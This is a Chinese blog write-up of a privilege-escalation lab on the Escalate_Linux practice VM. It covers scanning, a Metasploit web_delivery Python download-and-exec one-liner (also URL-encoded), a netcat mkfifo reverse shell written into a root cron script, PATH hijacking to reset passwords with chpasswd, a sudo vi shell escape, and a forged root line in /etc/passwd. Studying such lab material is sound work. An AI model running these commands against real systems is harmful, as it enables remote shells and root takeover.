Escalate_Linux 多漏洞提权实战
- 2019 年 10 月 6 日
- 筆記
0X1 环境摘要
今天我们为大家分享的是一款多漏洞的Linux靶机,通过系统中的不同漏洞进行提权获得root权限。
扫描
- Netdiscover
- NMAP
枚举
- Web目录扫描
利用
- Metasploit shell上传
- LinEnum.sh 查询
权限提升
- 环境变量提权
- 文件可写提权
- SUID提权
0X2 实验步骤
首先开始扫描主机IP地址,使用Netdiscover工具
netdiscover -r 172.16.1.0/24

找到漏洞环境地址是172.16.1.189。然后使用nmap进行全面综合扫描
nmap -A 172.16.1.189
root@kali:~# nmap -A 172.16.1.189 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-06 21:56 CST Nmap scan report for 172.16.1.189 Host is up (0.00035s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100003 3 2049/udp nfs | 100003 3,4 2049/tcp nfs | 100005 1,2,3 38169/udp mountd | 100005 1,2,3 60545/tcp mountd | 100021 1,3,4 39381/tcp nlockmgr | 100021 1,3,4 52112/udp nlockmgr | 100227 3 2049/tcp nfs_acl |_ 100227 3 2049/udp nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) 2049/tcp open nfs_acl 3 (RPC #100227) MAC Address: 00:0C:29:EA:F3:51 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Host: LINUX Host script results: |_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s |_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: osboxes | NetBIOS computer name: LINUXx00 | Domain name: x00 | FQDN: osboxes |_ System time: 2019-08-06T09:56:52-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-08-06 21:56:52 |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1 0.35 ms 172.16.1.189 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds
发现有80服务,那就使用dirb扫描一下站点目录,使用-X选项扫描扩展为php格式的文件
dirb http://172.16.1.189/ -X .php

发现一个shell.php路径,浏览器访问一下

提示我们缺少参数,那么我们使用cmd传入一个参数尝试构造

当前用户是一个普通用户,而当前的环境又给了我们命令执行的接口,所以我们使用反弹shell的方式连接进去
msf5 > use exploit/multi/script/web_delivery msf5 exploit(multi/script/web_delivery) > set srvhost 172.16.1.134 srvhost => 172.16.1.134 msf5 exploit(multi/script/web_delivery) > set lhost 172.16.1.134 lhost => 172.16.1.134 msf5 exploit(multi/script/web_delivery) > exploit [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 172.16.1.134:4444 [*] Using URL: http://172.16.1.134:80/TKEl7A6DrLCUvY9 [*] Server started. [*] Run the following command on the target machine: python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://172.16.1.134/TKEl7A6DrLCUvY9');exec(r.read());" msf5 exploit(multi/script/web_delivery) > msf5 exploit(multi/script/web_delivery) >
172.16.1.134是kali的ip地址,然后生成一段python的反弹代码,直接执行不成功,URL编码一下。

%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%79%73%3b%75%3d%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%75%72%6c%6c%69%62%27%2b%7b%32%3a%27%27%2c%33%3a%27%2e%72%65%71%75%65%73%74%27%7d%5b%73%79%73%2e%76%65%72%73%69%6f%6e%5f%69%6e%66%6f%5b%30%5d%5d%2c%66%72%6f%6d%6c%69%73%74%3d%28%27%75%72%6c%6f%70%65%6e%27%2c%29%29%3b%72%3d%75%2e%75%72%6c%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%2e%31%2e%31%33%34%2f%54%4b%45%6c%37%41%36%44%72%4c%43%55%76%59%39%27%29%3b%65%78%65%63%28%72%2e%72%65%61%64%28%29%29%3b%22%0a
然后在msfconsole终端中发现一个shell连接反弹过来了

等待一会会中断,使用sessions查看所有会话连接

可以看到基本上都是user6返回的连接,使用命令进入meterpreter会话中
sessions -i 1

因为之前我们已经在浏览器中执行过id命令,知道当前是user6用户,是一个id是1005的用户,所以使用upload命令上传linux环境检查脚本,但是失败

换个思路,本地开启web环境,将脚本放置在www目录中,通过进入到靶机中的shell中在tmp目录中执行wget命令下载

成功了!然后改变权限,执行脚本
$ ls LinEnum.sh $ $ chmod 777 LinEnum.sh $ ./LinEnum.sh

然后系统中共有8个用户

我们还发现在crontab中,使用root权限每隔5分钟运行一个名为autoscript.sh的文件。

有没有很熟悉的赶脚?是的,大伙长做的AWD线下的很多后门都在计划任务中。然后可写的文件包括了passwd文件

下面开始进行权限提升不同的方法尝试
I 利用shell文件的SUID权限获取shell
在我们上面使用LinEnum.sh扫描的时候由于网段是NAT,所以在检测的时候/home/目录下的文件权限没有检测出来,但是换成桥接模式之后可以的,很是无语了。所以扫描出的结果正面在/home/user3和/home/user5/目录下有文件具有suid权限


所以这里,我们使用find命令按照执行权限来查找
find / -perm -u=s -type f 2>/dev/nul -perm 表示按执行权限来查找 -type 表示查是块设备、目录、字符设备、管道、符号链接、普通文件
执行一下

再去执行shell

就可以获得root权限了。
II 通过破解root密码获取root shell
从上面的截图中,我们已经知道了user5目录下的script也可以执行root权限
在这里,我们使用环境变量访问/etc/shadow文件,然后提权。利用环境变量提权的利用可以参考github上开源的exploit-nebula练习环境。
命令如下
echo "cat /etc/shadow" > ps chmod 777 ps export PATH=/tmp:$PATH cd /home/user5 ./script

执行结果只后没有成功!按照预期,该脚本执行的时候应该会以root身份执行,然后加载环境变量,执行cat /etc/shadow命令,这样的话我们就能够拿到root身份的密码值,然后使用john破解即可。但是在做的时候这里没有显示出来,试了好长时间,没有成功!如果有小伙伴做出来,可以交流一下。
III 通过利用user1的SUDO权限获取root shell
这里我们使用echo和chpasswd命令用我们的新密码12345替换现有密码。然后使用su命令切换到user1帐户。在检查了user1的sudoer列表后,我们发现该用户可以将所有命令作为sudo运行。所以我们运行命令sudo su并获得root访问权限
user6 / | tmp echo 'echo "user1:12345" | chpasswd' > ls chmod 777 ls export PATH=/tmp:$PATH cd /home/user5 ./script su user1 sudo –l sudo suecho 'echo "user1:12345" | chpasswd' > ls chmod 777 ls export PATH=/tmp:$PATH cd /home/user5 ./script su user1 sudo –l user6 / | tmp chmod 777 ls user6 / | tmp export PATH=/tmp:$PATH user6 / | tmp cd /home/user5 user6 / | home | user5 ./script user6 / | home | user5 su user1 Password: 12345 su: Authentication failure user6 / | home | user5 su user1 su user1 Password: 12345 Welcome to Linux Lite 4.4 user1 Tuesday 06 August 2019, 11:45:18 Memory Usage: 356/985MB (36.14%) Disk Usage: 5/217GB (3%) Support - https://www.linuxliteos.com/forums/ (Right click, Open Link) user1 / home user5 sudo su sudo su [sudo] password for user1: 12345 Welcome to Linux Lite 4.4 You are running in superuser mode, be very careful. Tuesday 06 August 2019, 11:45:31 Memory Usage: 360/985MB (36.55%) Disk Usage: 5/217GB (3%) root / home user5 id id uid=0(root) gid=0(root) groups=0(root) root / home user5

IV 通过利用crontab获取root shell
我们通过上一关的利用方式对user4更改密码为12345

然后查看位于该用户桌面的autoscript.sh脚本

里面没啥关键信息。那么我们是不是可以往里面写一段反弹的shell呢?利用msfvenom进行编写。
msfvenom -p cmd/unix/reverse_netcat lhost=172.16.1.134 lport=8888 R

然后写入autoscript.sh脚本之中
echo 'mkfifo /tmp/nxbfap; nc 172.16.1.134 8888 0</tmp/nxbfap | /bin/sh >/tmp/nxbfap 2>&1; rm /tmp/nxbfap' > autoscript.sh

在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载

即可看到会话过来,查看权限为root权限。
V 通过利用crontab获取root shell
同样的过程,对user8修改密码为12345
echo 'echo "user8:12345" | chpasswd' > ls chmod 777 ls export PATH=/tmp:$PATH cd /home/user5 ./script su user8 sudo –l sudo su

通过sudo -l查看user8的权限发现对vi有特权

那就打开一个vi,输入sh,退出
sudo vi :!sh enter

获得root权限。
Ⅵ 利用/etc/passwd文件的可写权限
查看/etc/passwd文件内容

可以发现user7对于passwd文件应该是可写的。所以和上面几步一样,修改user7的密码为12345

查看user7权限

然后复制kali的passwd文件内容,对pass123求哈希值
openssl passwd -1 -salt ignite pass123

然后拷贝到新的passwd文件中,用户名是睡大觉简写
sdj:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

保存成新的passwd文件,使用user7用户下载到环境中,覆盖原来的passwd文件内

查看passwd内容并切换账户

提权成功!
总结
这个漏洞环境利用了Linux下常见的一些管理配置上的特性,如SUID、环境变量、特殊文件可写、计划任务等功能,使得我们在以普通用户的身份就可以轻易利用这些漏洞成为管理员,在一般的比赛中是经常的考点。所以我们在平常的练习环境中应该对此类漏洞多多总结,这样在遇到的时候就会很容易发现并加以利用学习。